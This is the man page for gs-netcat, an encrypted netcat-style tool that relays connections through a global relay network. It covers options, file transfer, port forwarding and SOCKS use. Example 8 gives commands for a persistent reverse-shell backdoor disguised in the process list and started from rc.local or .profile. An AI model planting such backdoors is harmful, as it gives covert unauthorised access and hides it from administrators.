1\# .TH gs-netcat 1 "08 October 2020" "1.0" "gs-netcat man page" 2.Dd October 08, 2020 3.Dt GS-NETCAT 1 4.Os 5.Sh NAME 6.Nm gs-netcat 7.Nd transfer data, forward traffic and execute commands on a remote host. Securely. 8.Sh SYNOPSIS 9.Nm gs-netcat 10.Op Fl rlgqwCTSDiu 11.Op Fl s Ar secret 12.Op Fl k Ar keyfile 13.Op Fl L Ar logfile 14.Op Fl d Ar IP 15.Op Fl p Ar port 16.Op Fl e Ar cmd 17.Sh DESCRIPTION 18The 19.Nm 20utility is a re-implementation of netcat. It allows two or more users to establish a secure TCP connection with each other in a scenario where all users are behind NAT/Firewall and would not be able to connect to each other directly. Typically a connection between one workstation and another workstation on a different Local Area Network. 21.Pp 22It uses the Global Socket Relay Network (GSRN) instead of direct TCP connections. Neither workstation needs to open a port in their firewall or accept incoming TCP connections. 23.Pp 24The connection is end-2-end encrypted using SRP (RFC 5054) with AES-256 and a 4096 Prime. The GSRN sees only the encrypted traffic. 25.Pp 26Common uses include: 27.Pp 28.Bl -bullet -offset indent -compact 29.It 30simple TCP proxies 31.It 32PTY shell 33.It 34File transfer 35.It 36a SOCKS ProxyCommand for 37.Xr ssh 1 38.It 39and much, much more. 40.El 41.Pp 42.Sh OPTIONS 43.Bl -tag -width Ds 44.It Fl C 45Disable encryption and use clear-text instead. Use with caution. 46.It Fl d Ar ip 47Destination IPv4 address for port forwarding. 48.It Fl D 49Daemon & Watchdog mode. Start 50.Nm 51as a background process and restart if killed. 52.It Fl e Ar cmd 53Execute command and send output to the connected client. Needs -l. 54.It Fl g 55Generate a secure random password and output it to standard output. 56.It Fl i 57Interactive login shell. The server spawns a true PTY login shell. The client acts as a true PTY client (with Ctrl-C etc working). The client can terminate the session by typing \'Ctrl-e q\' at any time or by typing \'exit\'. The server supports multiple clients at the same time. 58 59.It Fl k Ar file 60A file containing the password. 61.It Fl l 62Server/Listening mode. The default mode is client. 63.It Fl L Ar file 64Log file [defaut: standard out] 65.It Fl p Ar port 66Port to listen on or to forward traffic to [1-65535]. 67.It Fl q 68Quiet mode. Do not output any warnings or errors. 69.It Fl r 70Receive-only. Do not send any data. Terminate when no more data is available for reading. 71.It Fl s Ar secret 72A password chosen by the user. Both users need to use the same password to connect. 73.It Fl S 74Act as a SOCKS4/4a/5 server. The server acts as a SOCKS4/4a/5 proxy. It allows multiple 75.Nm 76clients to (securely) relay traffic via the server. Needs -l. 77.It Fl T 78Use TOR. The 79.Nm 80tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables. 81.It Fl u 82Use UDP instead of TCP for port forwarding. Needs -p. 83.It Fl w 84Client to wait for the listening server to become available. 85.El 86 87.Sh CONSOLE 88The interactive login shell ( 89.Ar -i 90) has a command console. Pressing \'Ctrl-e c\' (e for EEEElite) opens the command console. The command console displays the following information: 91.Pp 92.Bl -bullet -offset indent -compact 93.It 94Latency (in milliseconds) to the remote host 95.It 96Warning when a user logs into the system or becomes active 97.It 98Data throughput 99.It 100File transfer logs 101.El 102Type \'help\' for a list of available commands. 103 104.Sh FILETRANSFER 105File transfer is available from the command console. Files are transfered with the permission and modification timestamp unchanged. Partially transfered files are re-started where the transfer was left off. 106 107The 'put' command is used for uploading: 108 109.Dl put foobar.txt 110.Dl put $HOME/foobar.txt 111.Dl put /tmp/*.log 112.Dl put $(find . -type f -name '*.c') 113 114(The above example shows Shell Variable substitution and word expansion) 115 116It is possible to limit the amount of path information that is sent as implied directories for each path you specify. You can insert a dot and a slash into the source path, like this: 117 118.Dl put /foo/./bar/baz.c 119 120That would create /tmp/bar/baz.c on the remote machine. 121 122The 'get' command is used for downloading: 123 124.Dl get foobar.txt 125.Dl get $(find /var/./ -name '*.log') 126 127Transfering a directory automatically transfers all files and directories within that directory (recursively): 128 129.Dl get /var/log 130.Dl get / 131The first command transfers all directories and files in /var/log/*. The latter command transfers the entire filesystem. 132 133Multiple get/put commands can be scheduled at the same time. 134 135.Sh EXAMPLES 136.Nm Example 1 137- Listen for a new connection using the password \'MySecret\': 138.Dl $ gs-netcat -s MySecret -l 139.Pp 140Connect with client using the same password: 141.Dl $ gs-netcat -s MySecret 142.Pp 143.Nm Example 2 144- spawn a PTY login shell when a client connects: 145.Dl $ gs-netcat -s MySecret -l -i 146.Pp 147Log in to server\'s interactive shell: 148.Dl $ gs-netcat -s MySecret -i 149.Pp 150.Nm Example 3 151- Execute a command when a client connects: 152.Dl $ gs-netcat -s MySecret -l -e \'echo hello world; id; exit\' 153.Pp 154Connect client to the server: 155.Dl $ gs-netcat -s MySecret 156.Pp 157.Nm Example 4 158- Pipe data from client to server: 159.Dl $ gs-netcat -s MySecret -l -r >warez.tar.gz 160.Pp 161Client to read \'warez.tar.gz\' and pipe it to the server. 162.Dl $ gs-netcat -s MySecret <warez.tar.gz 163.Pp 164.Nm Example 5 165- Server to act as a SOCKS4/4a/5 server: 166.Dl $ gs-netcat -s MySecret -l -S 167.Pp 168Client to listen on TCP port 1080 and forward any new connection to the server\'s SOCKS server: 169.Dl $ gs-netcat -s MySecret -p 1080 170.Pp 171.Nm Example 6 172- TCP Port Forward all connections to 192.168.6.7:22. Server: 173.Dl $ gs-netcat -s MySecret -l -d 192.168.6.7 -p 22 174.Pp 175Client to listen on TCP port 2222 and forward any new connection to the the server. The server then forwards the connection to 192.168.6.7:22. 176.Dl $ gs-netcat -s MySecret -p 2222 177.Dl $ ssh -p 2222 root@127.0.0.1 178.Pp 179The same using 1 command: 180.Dl $ ssh -o ProxyCommand=\'gs-netcat -s MySecret\' root@ignored 181.Pp 182.Nm Example 7 183- Creating an SFTP server using gs-netcat: 184.Dl $ gs-netcat -s MySecret -l -e /usr/lib/sftp-server 185.Pp 186The sftp-server binary speaks the sftp-protocol to stdin/stdout. The sftp binary also speaks sftp-protocol to stdin/stdout. The tool can be used to connect both via GSRN (encrypted) and access the SFTP server running on the server's side from the client via the GSRN (encrypted).: 187.Dl $ export GSOCKET_ARGS=\'-s MySecret\' 188.Dl $ sftp -D gs-netcat 189.Pp 190.Nm Example 8 191- Encrypted Reverse PTY shell hidden as \'-bash\' in the process list - also known as \'backdoor\': 192.Dl $ (GSOCKET_ARGS="-s MySecret -liqD" exec -a -bash gs-netcat) 193.Pp 194The following line in /etc/rc.local starts the backdoor after each system reboot: 195.Dl GSOCKET_ARGS="-s MySecret -liqD" HOME=/root TERM=xterm-256color SHELL="/bin/bash" /bin/bash -c\ "cd $HOME; exec -a rsyslogd /usr/local/bin/gs-netcat" 196.Pp 197The follwing line in /etc/rc.local starts a port-forward to 127.0.0.1:22: 198.Dl GSOCKET_ARGS="-k MySecret2 -lqD -d 127.1 -p22" /bin/bash -c\ "exec -a rsyslogd /usr/local/bin/gs-netcat" 199.Pp 200The following line in the user\'s ~/.profile starts the backdoor (once) when the user logs in. All in one line: 201.Dl killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s MySecret3 -liqD" SHELL=/bin/bash exec -a -bash /usr/local/bin/gs-netcat) 202.Pp 203The \'(...)\' brackets start a sub-shell which is then replaced (by exec) with the gs-netcat process. The process is hidden (as -bash) from the process list. 204.Pp 205Client to connect to the backdoor: 206.Dl $ gs-netcat -s MySecret -i 207 208 209.Sh ENVIRONMENT 210The following environment variables can be set to control the behavior of 211.Nm 212.Pp 213.Nm GSOCKET_SOCKS_IP 214.Dl Specify the IP address of the TOR server (or any other SOCKS server). Default is 127.0.0.1. 215.Pp 216.Nm GSOCKET_SOCKS_PORT 217.Dl The port number of the TOR server (or any other SOCKS server). Default is 9050. 218.Pp 219.Nm GSOCKET_ARGS 220.Dl A string containing additional command line parameters. First the normal command line parameters are processed and then the command line parameters from GSOCKET_ARGS. 221 222.Sh SECURITY 223Passing the password as command line parameter is not secure. Consider using the -k option or GSOCKET_ARGS or enter the password when prompted: 224.Pp 225.Dl $ gs-netcat -k <file> 226.Pp 227.Dl $ export GSOCKET_ARGS="-s MySecret" 228.Dl $ gs-netcat 229.Pp 230.Nm 1. 231The security is end-2-end. This means from User-2-User (and not just to the GSRN). The GSRN relays only (encrypted) data to and from the users. 232.Pp 233.Nm 2. 234The session is 256 bit and ephemeral. It is freshly generated for every session and generated randomly (and is not based on the password). It uses OpenSSL\'s SRP with AES-256 and a 4096 Prime. 235.Pp 236.Nm 3. 237The password can be \'weak\' without weakening the security of the session. A brute force attack against a weak password requires a new TCP connection for every guess. 238.Pp 239.Nm 4. 240Do not use stupid passwords like \'password123\'. Malice might pick the same (stupid) password by chance and connect. If in doubt use gs-netcat -g to generate a strong one. Alice\'s and Bob\'s password should at least be strong enough so that Malice can not guess it by chance while Alice is waiting for Bob to connect. 241.Pp 242.Nm 5. 243If Alice shares the same password with Bob and Charlie and either one of them connects then Alice can not tell if it is Bob or Charlie who connected. 244.Pp 245.Nm 6. 246Assume Alice shares the same password with Bob and Malice. When Alice stops listening for a connection then Malice could start to listen for the connection instead. Bob (when opening a new connection) can not tell if he is connecting to Alice or to Malice. Use -a <token> if you worry about this. TL;DR: When sharing the same password with a group larger than 2 then it is assumed that everyone in that group plays nicely. Otherwise use SSH over the GS/TLS connection. 247.Pp 248.Nm 7. 249SRP has Perfect Forward Secrecy. This means that past sessions can not be decrypted even if the password becomes known. 250 251.Sh NOTES 252The latest version is available from https://github.com/hackerschoice/gsocket/. 253 254.Sh SEE ALSO 255.Xr gsocket(1) , 256.Xr gs-sftp(1) , 257.Xr gs-mount(1) , 258.Xr blitz(1) , 259.Xr nc(1) , 260.Xr socat(1) 261 262.Sh BUGS 263Efforts have been made to have 264.Nm 265"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave. 266